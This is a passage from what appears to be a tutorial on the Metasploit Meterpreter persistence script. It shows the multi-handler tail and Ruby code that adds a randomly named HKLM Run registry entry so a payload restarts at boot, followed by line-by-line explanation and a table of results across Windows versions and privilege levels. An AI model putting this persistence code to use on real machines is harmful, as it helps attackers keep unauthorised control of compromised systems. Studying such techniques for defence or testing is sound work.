     13: 		'Payload'        => mul.datastore['PAYLOAD'],
    
     14: 		'RunAsJob'       => true
    
     15: 	)
    
     16: end

    As it can be seen the code is extremely simple to read thus making it very re-usable for other scripts one might have, if you have used msfconsole before to build a multi handler this code merits little explanation. One could easily add a AutoRunScript after line 10 if one so wishes to have a custom one or set is as an option for the script it self.

    If we selected the –X option to have the payload run when the computer start, then the code below is executed:

      1: #
    
      2: # Make the agent restart on boot
    
      3: #
    
      4: if(install)
    
      5: 	nam = Rex::Text.rand_text_alpha(rand(8)+8)
    
      6: 	print_status("Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
    
      7: 	key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', KEY_WRITE)
    
      8: 	if(key)
    
      9: 		key.set_value(nam, session.sys.registry.type2str("REG_SZ"), tempvbs)
    
     10: 		print_status("Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
    
     11: 	else
    
     12: 		print_status("Error: failed to open the registry key for writing")
    
     13: 	end
    
     14: end

    In line 5 we create a random number that will be used for the registry key that in line 7 will created in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. In line 8 a REG_SZ value is created with the path to our script, if it fails we will be informed.

    I tested this script in a series of system and I do have to say that what surprised me is that the first part ran with out a single problem in the following system and privileges:

    OS

    System

    Administrator

    Network Service

    Regular User

    Windows XP

    Ran

    Ran

    Ran

    Ran

    Windows 2003

    Ran

    Ran

    Ran

    Ran

    Windows Vista

    Ran

    Ran

    Ran

    Ran

    Windows 2008

    Ran

    Ran

    Ran

    Ran

    Windows 2008 R2

    Ran

    Ran

    Ran

    Ran

    Windows 7

    Ran

    Ran

    Ran

    Ran

     

    This where default systems and those that have UAC it was enabled.  Now on those systems where we set up the payload to run at start up only failed on those with UAC and running and not running as System, also failed on those running as Network Service and as a regular user in the Users group. I would also recommend that you take a look at the scheduleme script for others ideas for persistence and for privilege escalation in certain systems, it will also let you schedule it with more options, but it is also only present win Windows 2003 and present Windows versions and not in the Home Editions of Windows XP, it also suffers from the same limitation when UAC is enabled.